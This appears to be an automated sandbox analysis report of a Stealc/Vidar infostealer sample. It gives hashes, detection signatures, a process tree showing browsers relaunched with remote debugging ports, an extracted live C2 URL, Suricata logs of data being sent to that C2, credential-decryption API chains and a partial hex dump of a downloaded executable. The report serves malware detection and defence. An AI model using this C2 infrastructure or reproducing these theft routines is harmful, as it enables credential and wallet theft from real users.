Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543327
MD5:	f793d9e588c6bf51f1daf523ab2df1ce
SHA1:	f63ce1f9eee9f3ae643e270c7fc854dc51d730d0
SHA256:	a8addc675fcc27c94ff9e4775bb2e090f4da1287aae6b95cecc65ccf533bc61d
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Monitors registry run keys for changes

PE file has a writeable .text section

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3572 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

chrome.exe (PID: 1084 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2268,i,15294783422747119345,5635415483272853884,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8108 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7672 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2200,i,4606429550156952016,8987385730594920496,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7536 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8972 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6924 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8980 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7184 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8052 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7216 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
file.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000000.2115825361.0000000000781000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3572	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3572	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3572	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3572	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.780000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.0.file.exe.780000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3572, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1084, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:54:06.985808+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:54:06.979065+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:54:07.264007+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:54:08.411920+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:54:07.282697+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:54:06.695565+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:54:09.055761+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-27T17:54:36.788219+0100	2803304	3	Unknown Traffic	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:40.302041+0100	2803304	3	Unknown Traffic	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:42.402461+0100	2803304	3	Unknown Traffic	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:43.533888+0100	2803304	3	Unknown Traffic	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:45.803484+0100	2803304	3	Unknown Traffic	192.168.2.5	49853	185.215.113.206	80	TCP
2024-10-27T17:54:46.373213+0100	2803304	3	Unknown Traffic	192.168.2.5	49853	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: file.exe	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.780000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0078A2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00799030 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00799030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078C920 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0078C920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0078A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007872A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_007872A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C70A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C704440 PK11_PrivDecrypt,	0_2_6C704440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C6D4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7044C0 PK11_PubEncrypt,	0_2_6C7044C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7525B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7525B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C6E8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C70A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C6EE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C72A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C730180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7043B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7043B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C727C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C727C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C6E7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C72BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C729EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C703FF0 PK11_PrivDecryptPKCS1,	0_2_6C703FF0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:50073 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2593670616.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2593670616.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007940F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_007940F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0078E530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0078BE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00794B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00794B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00781710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00781710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0078F7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0078DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0078EE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0078DF10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00793B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00793B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007947C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_007947C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 27 Oct 2024 16:54:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 